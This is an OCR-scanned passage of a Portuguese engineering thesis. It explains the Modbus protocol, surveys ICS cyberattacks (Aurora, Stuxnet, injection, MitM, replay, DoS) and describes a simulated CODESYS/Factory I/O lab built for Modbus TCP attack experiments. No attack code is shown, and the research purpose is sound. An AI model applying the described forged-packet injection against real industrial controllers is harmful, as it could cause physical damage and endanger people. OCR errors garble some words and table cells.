protocolo de aplicagdo que, dentro do mapeamento em camadas, atua na camada
7 do modelo OSI, isto é, a camada de aplicagao. Ele pode ser implementado tanto
sobre transmissoes seriais quanto em redes, como TCP/IP, sendo estruturado com
o empilhamento de camadas, desde a camada fisica, até a de aplicacao de fato.
Outro tipo é o Modbus+, uma rede de alta velocidade com recursos adicionais
em relagao ao protocolo tradicional, porém pouco utilizada, conforme ilustrado na
Figura 10 [14, 15, 16].

Seu funcionamento segue a logica do modelo master-slave (mestre—escravo).

Entretanto, essa nomenclatura deixou de ser utilizada nas especifica¢oes atuais do
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Figura 9 — Modelos OSI e TCP/IP
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Fonte: Adaptado de [13].

Figura 10 — Modbus em diferentes aplicagoes
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Modbus, sendo substituida por client-server. Nesse contexto, o client (cliente) é

o dispositivo que envia as requisi¢des (request), enquanto o server (servidor) é o

dispositivo que processa a solicitagao e devolve a resposta (reply). Assim, a comu-
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nica¢do no Modbus baseia-se no principio de pergunta e resposta (request/reply)
(16, 14].

Em uma rede Modbus tradicional, um client pode se comunicar com até 247
servers, identificados por enderegos tinicos de 1 a 247. O enderego 0 é reservado
para transmissao em broadcast, permitindo que o client envie uma mensagem para
todos os servers simultaneamente, sem exigir resposta. Importante destacar que os
servers nao podem iniciar comunicagoes por conta prépria: apenas respondem apoés
receberem uma solicitacao, o que garante ordem e previsibilidade na comunicagao
(14, 15].

As requisi¢oes enviadas pelo client sao chamadas de query, enquanto as res-
postas dos servers sao denominadas reply. Na comunicacao query-reply, o server
permanece ocupado até concluir a resposta, nao podendo lidar com outras requisi-
¢oes simultaneamente. Portanto, o protocolo nao possui capacidade de multicast,
ou seja, nao ¢é possivel enviar varios requests para diferentes servers ao mesmo
tempo [14].

O Modbus ¢é versatil, podendo ser implementado em diferentes tipos de rede.
A Figura 11 ilustra uma rede de comunicagao industrial composta exclusivamente
por Modbus, tanto em dispositivos de campo (via comunicagao serial) quanto em
dispositivos de rede (via TCP/IP).

O protocolo Modbus possui uma estrutura base independente das camadas
inferiores de comunicagao. Dentro da mensagem, existem duas unidades principais:
o Protocol Data Unit (PDU) e o Application Data Unit (ADU) [16, 17].

O PDU ¢ a parte central da mensagem Modbus e permanece igual em todas
as variantes do protocolo, seja em comunicagao serial ou TCP/IP. Ele é composto

por dois campos principais: Function Code e Data [16, 14, 17].

e O campo Function Code indica a operacao a ser realizada, como leitura ou
escrita em registradores, diagnosticos ou comandos especificos. Esse codigo
funciona como o “cérebro” da mensagem, definindo a fungao que o servidor

devera executar [16].

e O campo Data contém os pardmetros necessarios para a execucao correta da

funcao, como enderecos de registradores, valores a serem escritos ou quanti-
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Figura 11 — Rede de comunicagao industrial com Modbus
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cuja estrutura varia de acordo com o Function Code [16].

Os Function Codes sao fundamentais para a comunicacao no Modbus, pois
determinam a operacao a ser realizada em cada troca de mensagens. Cada codigo
¢ implementado em um tunico byte, possibilitando valores de 1 a 255 em decimal
(16, 14].

Na pratica, os valores de 1 a 127 representam fungoes efetivas, sendo que apenas
cerca de 20 sdo considerados public function codes e amplamente utilizados em
aplicagoes industriais. Também é possivel definir codigos de fungao personalizados
em posicoes especificas desse intervalo, mas muitos dispositivos Modbus suportam
apenas um subconjunto limitado dessas fungoes [16, 14].

Ja os valores de 128 a 255 sao reservados para respostas de excegao. Nesses
casos, quando um server nao consegue executar a funcao solicitada, ele retorna
ao client o mesmo codigo da requisicao acrescido de 128, indicando erro na opera-

¢ao. Esse mecanismo simples elimina a necessidade de campos extras e facilita a
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detecgao de falhas durante a comunicagao [16, 14].

Tabela 2 — Function Codes publicos no Modbus

Function Codes

Categoria Funcao
Code | Sub code | (Hex)

Read Discrete Inputs 02 02
. Read Coils 01 01

1 Bit
Write Single Coil 05 05
Write Multiple Coils 15 0F
Read Input Register 04 04
Read Holding Registers 03 03
Write Single Register 06 06
16 bits Write Multiple Registers 16 10
Read/Write Multiple Registers 23 17
Mask Write Register 22 16
Read FIFO Queue 24 18
. . Read File Record 20 14

Acesso a registros de arquivo
Write File Record 21 15
Read Exception Status 07 07
Diagnostic 08 18,20 08-14
. L. Get Com Event Counter 11 0B
Diagnéstico

Get Com Event Log 12 0C
Report Server 1D 17 11
Read Device Identification 43 14 2B
Encapsulated Interface Transport | 43 13,14 2B

Outros
CANopen General Reference 43 13 2B

Fonte: Adaptado de [16]

Ja 0 ADU corresponde ao PDU acrescido de informagoes adicionais de acordo
com o meio fisico e o tipo de aplicacao. E nele que aparecem os campos especificos
de cada implementacao, garantindo que a mensagem seja transmitida corretamente

pelo canal escolhido [16, 14].

e No Modbus Serial RTU, o ADU inclui um campo de endereco do dispositivo
e um campo de verificacdo de erro (CRC) [17].

e No Modbus Serial ASCII, a mensagem ¢é codificada em caracteres ASCII,

com inicio e fim bem definidos [17].
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e No Modbus TCP/IP, o0 ADU possui um cabegalho adicional chamado MBAP
(Modbus Application Protocol Header), que substitui os campos de endereco

e CRC das versoes seriais [17].

2.2.3.1 Modbus Serial

Como mencionado anteriormente, o Modbus serial pode operar sobre diferentes
meios fisicos, como fios, fibra éptica ou radio. Ele é dividido em dois modos
de transmissao: American Standard Code for Information Interchange (ASCII)
e Remote Terminal Unit (RTU). No modo RTU, os dados sdo transmitidos em
formato binario de 8 bits, enquanto no modo ASCII a transmissao ocorre em
caracteres de 7 bits [16, 17].

A Figura 12 apresenta a estrutura geral de um ADU completo transmitido em
Modbus Serial. A mensagem ¢ dividida em quatro partes, sendo a central chamada
PDU, comum a qualquer variante do protocolo, e composta pelo Function Code

(j& explicado anteriormente) e pelos dados brutos [16, 17].

Figura 12 — Estrutura geral de uma mensagem Modbus Serial
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Fonte: [17].

O diferencial do ADU esta nos campos adicionais: Address Field e CRC. O
campo Address Field indica o endereco do server. Como visto, um client Modbus
pode gerenciar até 247 servers. Como todos os dispositivos da rede respondem
ao mesmo client, nao é necessario indicar o nimero do client, apenas o do server
que recebera a requisi¢ao. Ja o campo CRC (ou LRC, no caso do ASCII) garante
a integridade da mensagem. O valor é calculado a partir de toda a mensagem,
do endereco ao ultimo byte de dados, e verificado no destino: se o calculo nao
coincidir com o campo recebido, a mensagem ¢ descartada [16, 17].

A principal diferenca entre RTU e ASCII esta justamente no formato das men-

sagens. O modo RTU ¢ mais compacto, envia dados em bindrio (bytes de 8 bits)
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e utiliza periodos de siléncio na linha como delimitadores de quadro. J& o modo
ASCII adota caracteres legiveis, em hexadecimal, e utiliza combinagoes explici-
tas como CR+LF para indicar o término da mensagem. A Tabela 3 resume as

diferengas entre os dois formatos [16, 17].

Tabela 3 — Comparagao entre Modbus RTU e Modbus ASCII

Campo Modbus RTU Modbus ASCII
Inicio — 1 char (Start)
Endereco do dispositivo 1 byte 2 chars
Cédigo de fungao 1 byte 2 chars
Dados 0 até 252 bytes 0 até 2x252 chars
Verificacao de erro 2 bytes (CRC) 2 chars (LRC)
Fim da mensagem (3.5-4.5 terilll)izcjiz caractere) 2 chars (CR + LF)

Fonte: Adaptado de [17].

2.2.3.2 Modbus TCP

O modelo Modbus TCP/IP é baseado em Ethernet, com a camada de aplicagao
Modbus sobreposta as camadas de transporte, rede, enlace de dados e fisica. Essa
hierarquia foi ilustrada anteriormente na Figura 9. Diferentemente do Modbus
Serial, em que a comunicagao é mais restrita, no Modbus TCP/IP podem coexistir
multiplos clients e servers na mesma rede, trocando dados de forma mais flexivel.
Assim, nao ha um tnico client central controlando todos os servers, mas uma rede
distribuida onde qualquer client pode acessar qualquer server disponivel [16, 17].

A Figura 13 mostra a estrutura geral de uma mensagem no padrao Modbus
TCP/IP. Assim como no Modbus Serial, o niicleo da mensagem, chamado PDU
(Protocol Data Unit), permanece inalterado, contendo o Function Code e os dados
da requisi¢ao ou resposta. O que muda é o ADU (Application Data Unit), que no
TCP/IP nao possui campo de verificacao de erro (CRC/LRC) nem de enderego
do server, ja que essas fungoes sdo garantidas pela prépria pilha TCP/IP e pelo
enderecamento IP [17].

No lugar desses campos, utiliza-se o Modbus Application Protocol (MBAP) He-
ader, que fornece informacoes adicionais para caracterizar a mensagem. O MBAP

Header tem tamanho fixo de 7 bytes, conforme detalhado na Tabela 4. Entre seus
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campos, destacam-se o Transaction Identifier, usado para relacionar requisi¢oes
e respostas; o Protocol Identifier, reservado para futuros protocolos (sempre 0 no
caso do Modbus); o campo Length, que indica o tamanho da mensagem; e o Unit

Identifier, utilizado principalmente em cenarios com gateways Modbus Serial [17].

Figura 13 — Estrutura geral de uma mensagem Modbus TCP /TP
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Fonte: Adaptado de [17].

Tabela 4 — Campos do MBAP Header no Modbus TCP/IP

Campo Tamanho
Transaction Identifier 2 bytes
Protocol Identifier 2 bytes
Length 2 bytes
Unit Identifier 1 byte
Fonte: Adaptado de [17].

O Transaction Identifier permite ao client relacionar cada requisi¢do com sua
respectiva resposta, evitando ambiguidades em comunicagbes paralelas [17].

O Protocol Identifier é reservado para permitir o uso de miultiplos protocolos
na mesma infraestrutura. No caso do Modbus, seu valor é sempre zero [17].

O campo Length define o tamanho restante da mensagem, incluindo o Unit
Identifier e o PDU. Isso garante que o receptor saiba exatamente quantos bytes
esperar, evitando leituras incompletas ou excessivas [17].

Por fim, o Unit Identifier é utilizado quando ha integracdo com dispositivos
Modbus Serial via gateways. Como em Modbus TCP/IP os dispositivos sao identi-
ficados por endereco IP, esse campo especifica a qual dispositivo serial a mensagem
deve ser encaminhada. Na auséncia de gateways, seu valor costuma ser configurado

como zero ou 255 [17].
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2.3 Ciberataques

O termo Tecnologia Operacional (TO) refere-se a sistemas completos, incluindo
hardware, software e tecnologias no geral, diretamente ligados a producao. Os sis-
temas ciber Fisicos (CPS) fazem parte desse conjunto, consistindo em um sistema
fisico e um sistema cibernético, computadorizado. Diferentemente da Tecnologia
da Informacao (TT), que tem como principal objetivo o gerenciamento de dados e
informagoes digitais, a TO esta focada na operacao fisica e continua de sistemas
industriais [18, 9].

Portanto, os sistemas de TO exigem requisitos que nao sao comuns em TI,
tornando dificil aplicar as mesmas estratégias de segurancga utilizadas em ambientes
corporativos. Em sistemas de Tecnologia Operacional, os dados transmitidos sao
em enorme quantidade, porém com tamanhos reduzidos, vindos de diferentes fontes
e necessitando de alta precisao e baixa laténcia. Afinal, sistemas de TO controlam
processos criticos, nos quais qualquer atraso, perda ou modificacdo de dados pode
causar falhas graves no processo produtivo [18, 9].

Logo, métodos de seguranca tradicionais, como criptografia e assinaturas di-
gitais, amplamente utilizados em TI, nao podem simplesmente ser aplicados em
CPS. Isso ocorre porque essas técnicas aumentam o tamanho das mensagens e
podem introduzir atrasos indesejados na comunica¢ao, comprometendo o tempo
de resposta do sistema. Em um ambiente industrial, um atraso de poucos milisse-
gundos pode representar a diferenca entre o funcionamento seguro e um acidente
grave [18, 9].

O grande problema por tras de um ciberataque nao esta apenas no prejuizo
financeiro ou moral que ele pode causar a uma entidade, mas principalmente no
perigo fisico envolvido. Um ataque cibernético pode alterar o comportamento de
um processo, modificar um sinal ou pardmetro e, assim, levar a falhas mecéanicas
capazes de gerar acidentes reais, colocando em risco a integridade de pessoas e
instalagoes. Além disso, o periodo de reconstrugao ou reabilitacdo de uma planta
atacada é extremamente complexo, perigoso e custoso, sendo muito mais traba-
lhoso restaurar um sistema de TO do que um sistema de TT [9].

O Projeto Aurora, realizado em 2007 pelo Departamento de Seguranca Interna

dos Estados Unidos, foi um marco ao demonstrar os riscos reais de um ataque
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cibernético contra sistemas industriais. O experimento simulou um ataque a uma
planta de geracao de energia de médio porte. Durante o teste, um invasor dentro
da rede enviou uma sequéncia de comandos de liga e desliga aos disjuntores de
um gerador de teste no Laboratério Nacional de Idaho. Isso causou a perda de
sincronismo entre o gerador e a rede elétrica, fazendo o rotor inverter seu sentido
de rotagao, o que resultou em sua completa destruicao fisica [19].

Seguindo essa logica, ¢ facil compreender que ataques podem causar danos
severos, levando dispositivos ao limite de funcionamento. Como exemplificado
em [19], um ataque pode fazer com que um gerador elétrico produza um surto
de energia que exceda o limite que a linha de transmissao suporta, elevando a
temperatura e tornando iminente o risco de incéndio.

Mesmo diante dos grandes impactos de um ciberataque a CPS, por muito tempo
acreditou-se que esses ataques eram improvaveis. Isso porque, para causar danos
significativos, ndo basta desligar ou interromper o sistema por alguns instantes. E
necessario compreender o processo industrial em detalhes e saber quais comandos
enviar, para quais dispositivos e em qual momento. Assim, um invasor precisa
nao apenas de conhecimentos em seguranca cibernética e redes industriais, mas
também de profundo entendimento do processo fisico controlado [9].

Por esse motivo, a propria complexidade dos sistemas de TO é frequentemente
considerada uma forma de seguranga passiva. Como citado por [9], os ataques
bem-sucedidos, em geral, partiram de pessoas de dentro da organizacao, com acesso
privilegiado e conhecimento prévio do processo, como ocorreu no Projeto Aurora.

Entretanto, em 2010 surgiu um software altamente sofisticado chamado Stuz-
net Worm. Estimado em mais de 20 milhoes de délares, o Stuxnet foi projetado
para atacar especificamente CLPs da Siemens, uma das maiores fornecedoras de
equipamentos de automagao industrial do mundo. Seu principal objetivo era ma-
nipular a velocidade de rotacao de motores de acordo com condigoes especificas,
alterando o comportamento fisico do processo sem levantar suspeitas [9, 19].

O ataque era iniciado a partir da infec¢ao de um computador, geralmente por
meio de um pen drive contaminado. Uma vez instalado, o virus verificava se
o software da Siemens usado para programar CLPs estava presente no sistema.
Caso positivo, substituia uma biblioteca legitima (.DLL) por uma versao modifi-

cada, capaz de interceptar e manipular as comunicagoes entre o computador e o
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controlador. Essa biblioteca adulterada enviava um “desafio” ao CLP e, se o equi-
pamento respondesse conforme esperado, o Stuxnet passava a agir diretamente
sobre ele [9, 19].

O ataque ocorrido no Ira, citado previamente na introdugao, foi consequéncia
direta da infeccao pelo Stuxnet, inserido em um computador da planta através
de um pen drive USB, supostamente por um técnico que trabalhava no local [19].
Muitos outros ciberataques vieram a acontecer desde 2010 até o presente momento.

Uma enumeracao desses ataques pode ser visto na Tabela 5

Tabela 5 — Principais eventos de ataques cibernéticos de 2010 até o 2023

Ano | Pais/Instituicdo | Detalhes
2010 | Ira Ataque Stuxnet que destruiu controladores centrais de
industrias.
2015 | Ucrania Ataque BlackEnergy a rede elétrica, resultando em uma
grande queda de energia.
2017 %Eiila’cgg:ma’ Ataque WannaCry com o objetivo de criptografar dados
’ e exigir pagamentos de resgate.
Hospital
Universitario de . "
2020 . Ataque cibernético que derrubou a rede de TI de um
Bruo, Repiblica hospital tcheco
Tcheca '
Departamento de
2020 | Saude e Servigos Ataque nao especificado a servidores.
Humanos dos EUA
Colonial Pipeline,
2021 EUA Ataque de ransomware a um oleoduto nos EUA, levando
a paralisacdo de uma rede critica de combustivel.

Fonte: [20]

Portanto, apesar das peculiaridades e da complexidade dos sistemas de TO,
é evidente que um ataque bem planejado, executado com conhecimento técnico e
possivelmente com auxilio interno, pode causar danos extremos, fisicos, econémicos

e morais , a qualquer organizagdo que opere sistemas industriais automatizados.

2.3.1 Tipos de ataques

Quando se trata de ciberataques a Sistemas de Controle Industrial (ICS), é pos-
sivel classifica-los em diferentes categorias. As abordagens para classificacdo desses

ataques podem ser estruturadas de formas distintas, porém com uma mesma base
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conceitual, de modo que, independentemente da perspectiva adotada, as categorias
convergem para agrupamentos semelhantes. Isso pode ser observado ao comparar
as formas de categorizar os ciberataques a ICS propostas em [21] e [22]. Enquanto
o primeiro artigo os caracteriza principalmente pelo alvo do ataque, o segundo os
caracteriza pelo modo como o ataque é executado.

De acordo com [21], os ciberataques sdo divididos em trés tipos principais:

o ICS Communication/Network Attacks: ataques direcionados & comunicacao
e a rede do ICS;

o ICS Hardware Attacks: ataques diretos ao hardware;

o ICS Software Attacks: ataques ao software.

Por outro lado, em [22], os ataques sao categorizados em quatro grupos:
o Reconnaissance Attacks: ataques de reconhecimento;

o Response and Measurement Injection Attacks: ataques de injecdo de respos-

tas e medicoes;
o Command Injection Attacks: ataques de injecao de comandos;
» Denial of Service (DoS) Attacks: ataques de negagao de servigo.

Os ataques a comunicagao e rede de ICS baseiam-se na interceptacao da co-
municacao entre dispositivos de rede interligados em um ICS. Nessa categoria,
o atacante pode mapear a topologia da rede, analisar os protocolos utilizados,
identificar diferentes dispositivos e realizar varreduras nas diversas camadas dos
protocolos. Os ataques de reconhecimento estao diretamente ligados a essa classe,
podendo ser considerados um subconjunto dos ataques de comunicacao e rede.
Esse tipo de ataque tem como principal objetivo interceptar dados que trafegam
na rede de um ICS, classificar os dispositivos e identificar vulnerabilidades. Geral-
mente, os ataques dentro dessa categoria sao o ponto de partida para um ataque
bem-sucedido, uma vez que permitem reconhecer enderecos de dispositivos e os
protocolos de comunicacao, com o intuito de planejar acoes mais elaboradas em
seguida [21, 22].
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No que diz respeito aos ataques diretos ao hardware, o alvo passa a ser os dis-
positivos fisicos, e ndo apenas o meio de comunicacao. Aqui, o objetivo é explorar
a falta de autenticagdo na troca de mensagens entre dispositivos para interferir
diretamente neles. Isto pode ser feito, por exemplo, enviando uma mensagem di-
retamente a um CLP. E nesse contexto que se enquadram os ataques de injecao
de respostas e medicoes e os ataques de injecao de comandos. Em ambos os casos,
utilizam-se vulnerabilidades da rede, porém com intencoes distintas: no primeiro,
o foco ¢é interceptar respostas de dispositivos ao CLP; no segundo, o alvo sdao os
comandos que o CLP enviaria para algum dispositivo em campo [21, 22].

Qualquer interceptacao ou adulteracao de dados medidos se encaixa na catego-
ria de injecao de respostas e medi¢oes. Um exemplo é o Replay Attack, no qual os
ultimos valores medidos por um sensor sao repetidos indefinidamente, mesmo que
haja alteragoes no processo real. Outro exemplo é a injecao de valores calculados
com base na programacao do CLP, de modo a induzir a planta a tomar uma agao
especifica, o que exige conhecimento prévio do processo [22, 23].

Por outro lado, o atacante pode enviar pacotes diretamente aos atuadores, in-
terceptando a comunicagao entre o controlador e a planta, e replicando mensagens
com comandos de atuagao que alterem, por exemplo, a velocidade de um motor
ou o estado de um atuador. Esse é o caso do ataque Man-in-the-Middle (MiTM)
[24, 22]. Nesse cenario, o atacante se posiciona entre o controlador e o sistema
controlado e altera os dados trocados entre eles. Esse tipo de ataque é considerado
um dos mais perigosos, especialmente se executado por um agente interno que
detenha conhecimento sobre o processo e possa manipular os dados para causar
acidentes graves.

Por fim, os ataques de negagao de servigo (DoS) visam interromper o funcio-
namento adequado de parte do sistema ciberfisico, seja por meio da sobrecarga de
recursos de comunicacgao, seja pela exploragao de vulnerabilidades em protocolos
ou dispositivos. Esse tipo de ataque pode impedir a operagao normal do ICS, afe-
tando a disponibilidade do sistema e, consequentemente, a seguranca do processo
[22].

Vale ressaltar que ataques de injecao, sejam de respostas, medig¢oes ou coman-
dos, frequentemente exploram protocolos com vulnerabilidades conhecidas, como

a falta de autenticagdo de pacotes e a auséncia de validacao da origem das men-
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sagens. O protocolo Modbus é um exemplo de protocolo amplamente utilizado
em ICS cujas medidas de seguranca sao insuficientes, tornando-o alvo comum de
exploragao [24, 22].

De forma mais especifica, no contexto do protocolo Modbus TCP, diversas
vulnerabilidades estruturais tornam esse protocolo altamente suscetivel a ataques
cibernéticos. Conforme apresentado em [25], 0 Modbus/TCP nao possui mecanis-
mos nativos de autenticagdo ou controle de acesso, permitindo que agentes mali-
ciosos realizem uma ampla variedade de ataques, como negagao de servigo (DoS),
ataques do tipo Man-in-the-Middle (MitM) e acessos nao autorizados.

Além disso, ferramentas de teste de penetracao, como o Smod, demonstram
na pratica a viabilidade desses ataques, possibilitando desde a exploragao de fun-
¢oes especificas do protocolo até a execucdo de ataques mais elaborados, como
flooding, fuzzing e replay de mensagens. Esses ataques podem comprometer tanto
a disponibilidade quanto a integridade das comunicagoes, afetando diretamente o
funcionamento de sistemas supervisorios e de controle industrial [25].

A Figura 14 ilustra uma rede de ICS completa, indicando os pontos onde cada
tipo de ataque pode ocorrer, e a Tabela 6 complementa a figura detalhando as

técnicas empregadas em cada categoria.
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Figura 14 — Ilustragao grafica de ciberataques em ICS
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Fonte: Adaptado de [21].

Tabela 6 — Tabela de ilustragao dos tipos de ciberataques em 1CS

Categoria de Ataque ICS | Técnica do Atacante Dispositivo Alvo ICS
Ext. 1 Malware via Internet Comunicagdo/Rede
Ext. 2 Malwa}re em dispositivo Hardware

removivel
Ext. 3 Engenharia Social Software
Ext. 4 Acesso Remoto Malicioso | Software
Ext. 5 Cross-Site Scripting Software
Int. 6 Injecdo de Comando SQL | Software
Int. 7 Bypass de Autenticacao Comunicagio/Rede
Int. 8 Malwa}re em dispositivo Software
removivel
Uso Indevido de L
Int. 9 Autoridade de Acesso Comunicagao/Rede
Int. 10 Injecdo Baseada em LAN | Hardware
Int. 11 Buffer Overflow Software
Ataque
nt. 12 Man-in-the-Middle Hardware

Fonte: Adaptado de [21]
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3 Desenvolvimento

Para o desenvolvimento deste trabalho, foram utilizadas diferentes ferramentas
com o objetivo de construir um ambiente de simulagdo seguro e confidvel, permi-
tindo a andlise da insercao de ciberataques no protocolo Modbus TCP, em meio a
duas plantas industriais distintas. Inicialmente, realizou-se um estudo prévio sobre
o funcionamento de cada software e sobre a configuracao de uma rede funcional
capaz de interligar um CLP, simulado em um computador, as plantas simuladas
em outro computador. Além disso, optou-se pela utilizagdo de um analisador de
trafego para captura de pacotes e compreensao detalhada do protocolo.

O experimento foi estruturado usando dois computadores, um Notebook e um
Desktop, conectados a mesma rede Wi-Fi, estabelecendo comunicagao via Modbus
TCP entre o equipamento que simula o CLP e o que simula a planta. O Modbus
TCP opera no modelo cliente-servidor: o Client envia requisigoes (request) e o
Server retorna respostas (reply), como explicado anteriormente. No ensaio, o
Desktop, que emula o CLP, assumiu o papel de Client, enquanto o Notebook, com
a planta simulada, atuou como Server.

Para programar e integrar o CLP a rede foi utilizado o software CODESYS.
As plantas industriais foram modeladas e simuladas no software Factory 1/0O, o
que proporcionou cenas em ambiente 3D. Para a analise do trafego e captura
das comunicagoes entre CLP e planta, antes da implementagdo dos ataques, foi
utilizado o Wireshark, ferramenta que permite decodificar e inspecionar protocolos
de rede, incluindo Modbus TCP.

Apos a conexao, a programacao em Ladder e a simulagao inicial de duas plan-
tas distintas com CODESYS e Factory 1/0, o trabalho evoluiu para o desenvolvi-
mento de rotinas de injecao de ataques que interceptam e manipulam a troca de
mensagens entre os dois computadores. Foram criadas mensagens forjadas que se
apresentam como query do CLP ou como response do Server, levando a respostas
indevidas na planta simulada. Para a implementacao desses vetores de ataque
utilizou-se a linguagem Python em conjunto com a biblioteca Scapy, que possibi-

lita captura de trafego de pacotes na rede, a construgao de pacotes customizados
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e o envio automatizado de mensagens para diferentes protocolos.

3.1 Softwares e ferramentas

Serao apresentados agora todos os softwares e ferramentas utilizadas para o
desenvolvimento deste estudo. Também, serd possivel entender o funcionamento
de cada ferramenta e como replicar os ensaios feitos neste trabalho, ou fazer novos

ensaios a partir do que sera apresentado neste documento.

3.1.1 Factory I/O

O Factory I/O é uma ferramenta que permite construir, simular e comunicar
plantas industriais via rede, disponibilizando uma vasta biblioteca de equipamentos
elétricos e grande flexibilidade de criagdo. Além disso, o software ja traz plantas
pré-construidas, didaticas e desafiadoras, como ilustrado na Figura 15 !.

Cada planta apresenta peculiaridades e modos de operacao distintos. Convém
ressaltar que o Factory 1/O serve apenas para simular a planta, ndo sendo um
ambiente para programar um CLP diretamente. A interagao direta com atuadores
e sensores pode ser realizada manualmente na interface para fins de teste. A Figura
16 mostra a interface do usuario dentro do ambiente 3D simulado.

Para melhor compreensao, as diferentes areas da interface foram destacadas
por cores. A Figura 17 apresenta, lado a lado, a selecao do protocolo e a tela de

configuragdo com os principais parametros.

L Ver: https://factoryio.com/features. Acesso em: 06/11/25
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Figura 15 — Plantas ja existentes no Factory 1/0O
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Fonte: Autor

Figura 16 — Interface do usuario do Factory 1/0
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Figura 17 — Sele¢ao e configuracdo do protocolo de comunicacao no Factory I/0O
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Fonte: Autor

Neste trabalho foi adotado o protocolo Modbus TCP para conectar o CLP e
a planta simulada. A Figura 17 destaca os campos de configuragao relevantes: os
parametros de rede (IP do host), a porta (502, padrao do Modbus TCP), o Slave
ID (identificador do Server) e a interface de rede do computador hospedeiro. O
endereco IP e o Slave ID sao elementos essenciais, pois devem corresponder as con-
figuragoes aplicadas no CODESYS para que a comunicacao ocorra corretamente.

Na parte inferior da tela de configuracdo encontram-se os parametros relativos
as quantidades de entradas e saidas digitais e analégicas (Digital I/O e Register
I/0). Essa defini¢ao é importante para mapear corretamente as entradas e saidas
da planta e, posteriormente, configurar as mesmas portas e registradores no CLP,

garantindo equivaléncia entre os dois ambientes de simulacao.

3.1.2 Codesys

O CODESYS é um software gratuito e flexivel, lider entre as plataformas de

automacao industrial. Por meio dele é possivel programar e configurar dispositivos
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industriais, computadores industriais e CLPs independentemente do fabricante.
O ambiente fornece uma plataforma com diversas bibliotecas e protocolos que
permitem flexibilidade na escolha do hardware.?

Além disso, o CODESYS possibilita a simulagao de dispositivos: ao instalar o
software, seguem componentes complementares como o CODESYS Control (que
permite a simula¢do de CLPs virtuais) e o CODESYS Development System, o
nucleo do software, que corresponde a interface de programacao e a configuragao
de rede dos dispositivos.

Para criar um novo projeto, é necessario acessar o campo Arquivo e selecionar
a opcao de criagdo de projeto. Nas telas de criagdo, é possivel escolher o tipo
de projeto (por exemplo, IHM ou projeto padrao para CLP), a linguagem de
programagao (conforme a norma IEC 61131-3) e o dispositivo que executard o
programa. No presente trabalho, para a programacao das duas plantas simuladas, o
dispositivo selecionado foi o CODESY'S Control Win V3 x64, integrante do pacote
CODESYS Control, que permite executar a simulagdo do CLP. As Figuras 18 e
19 apresentam a interface de criagdo do projeto e a tela de selecao de dispositivo

e linguagem, respectivamente.

Figura 18 — Criacao de projeto CODESYS 1
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2 Ver: codesys.com/ecosystem/discover-codesys/. Acesso em: 06/11/25
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Figura 19 — Criagao de projeto CODESYS 2
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Fonte: Autor

Apos a criacao do projeto, a Figura 20 apresenta exatamente o que se vé na tela
inicial. Nela, ha uma area com a arvore de dispositivos, fungoes e configuragoes a
esquerda, e a area de visualizagao e edi¢ao do dispositivo a direita.

Para a descricao do funcionamento do CODESYS, foi utilizado um projeto
previamente desenvolvido, que acabou nao sendo empregado nas analises de cibe-
rataque. Assim, ele é utilizado apenas para demonstracao do ambiente do software.

Por esse motivo, ja existem dispositivos e fungoes criadas na arvore a esquerda.

Figura 20 — Tela inicial de projeto no CODESYS
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Fonte: Autor

A direita, indicadas pelas setas, estdo duas partes importantes para a simula-
¢do: para que ela funcione corretamente, tanto o dispositivo CODESYS Control

Win V3, citado anteriormente, quanto o Gateway, responsavel pela comunicagao
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entre o ambiente de desenvolvimento (CODESYS Development System) e o CO-
DESYS Control, devem estar em execucao.

Ambos acompanham a instalacdo do CODESYS e sao exibidos na Figura 21.
Para ativa-los, basta iniciar suas aplicagoes no computador. Quando ambos esti-
verem ativos, os icones correspondentes ao Gateway e ao CLP virtual aparecem
destacados em verde, como mostrado na Figura 20, indicando que estao conectados

e prontos para operagao.
Figura 21 — Gateway e CODESYS Control em execugao
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Fonte: Autor

Para atribuir um dispositivo de rede e definir o protocolo de comunicagao pa-
drao do projeto, deve-se clicar com o botao direito sobre o item Deuvice, localizado
no topo da arvore a esquerda, e selecionar a interface de rede desejada. Neste
exemplo e nos dois projetos mencionados nas se¢oes seguintes, foi selecionada a
interface Ethernet, uma vez que o protocolo utilizado é o Modbus TCP.

Apos isso, adiciona-se uma instancia do Modbus TCP Client, que representa
o CLP e, dentro dela, um Modbus Server, que neste caso serd o Factory 1/O.
O protocolo Modbus permite a um Client se comunicar com até 247 Servers.
Porém, neste trabalho, hd apenas um servidor, representado pelo Factory 1/0,
responsavel por enviar e receber as variaveis de entrada e saida da planta. A
Figura 22 mostra lado a lado essa configuracao. Apds a insercao do dispositivo de
rede e das instancias Client e Server, é necessario ajustar algumas configuragoes
em cada um. No cliente, em geral, nao é preciso modificar parametros, apenas, se
necessario, o tempo limite de resposta. Ja no dispositivo de rede FEthernet e no

Server, algumas defini¢oes sdo indispensaveis.
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Figura 22 — Selecao de dispositivo de rede e protocolo
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Fonte: Autor

No dispositivo Ethernet, ¢ importante configurar o endereco IP e a mascara de

sub-rede conforme o IP do computador onde o CODESYS esta sendo executado.

Essa configuracao pode ser feita automaticamente ao selecionar a interface de rede

correspondente a placa de rede fisica do computador, como mostra a Figura 23.

Ainda na Figura 23, é possivel observar a configuracao do Server. Esta etapa

é essencial e deve ser feita de forma idéntica as defini¢goes do Factory 1/0, con-

forme mostrado anteriormente na Figura 17, garantindo que o CLP reconheca

corretamente o enderego do servidor Modbus e estabeleca a comunicacao.
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Figura 23 — Configuracao dos dispositivos de rede e protocolo

. Ethernet n

Geral
Interface derede  Ethernet

Ethernet Device Mapeamento de
Efs Enderego IP 192 . 188 . 0 . &9

Ethernet Device Objetos IEC Mdscara de sub-rede | 255 . 255 . 255 . 0

Gateway padrio 192 . 1868 . 0 . 1
Registro -
(] Ajustar as configuragdes do sistema operacional
Status
Modbus_TCP_Client
Geral TCP Modbus
ModbusTCPClient Mapeamento de Tempo limite de resposta (ms) 11000 -

MaodbusTCPClient Objetos IEC . i
B Reconexdo automdtica

ModbusTCPClientPardmetraos

Geral TCP Modbus

Canaldo servidarModbus Endereco IPdo servidor 192 . 168 . 0 . 169
1D da unidade [1..247] 1
Inicializar servidor Modbus

Tempo limite de resposta{ms) 1000

MaodbusTCPServer Pardmetros
Porta 502

ModbusTCPServer Mapeamento de

Fonte: Autor

Neste projeto, conforme mencionado anteriormente, foram simuladas duas plan-
tas industriais distintas, nas quais o CLP e o Factory I/O estdao hospedados em
computadores diferentes. O Factory I/0, configurado como server, foi hospedado
em um Notebook, com IP 192.168.0.169, enquanto o Codesys, sendo o dispostivo
CLP e fazendo o papel de client, foi hospedado em um Desktop, de IP 192.168.0.69.
Esta configuragdo ¢ a mesma para ambas as plantas industriais simuladas.

As Figuras 24 e 25 apresentam a configuracao dos canais e a atribuigao das tags
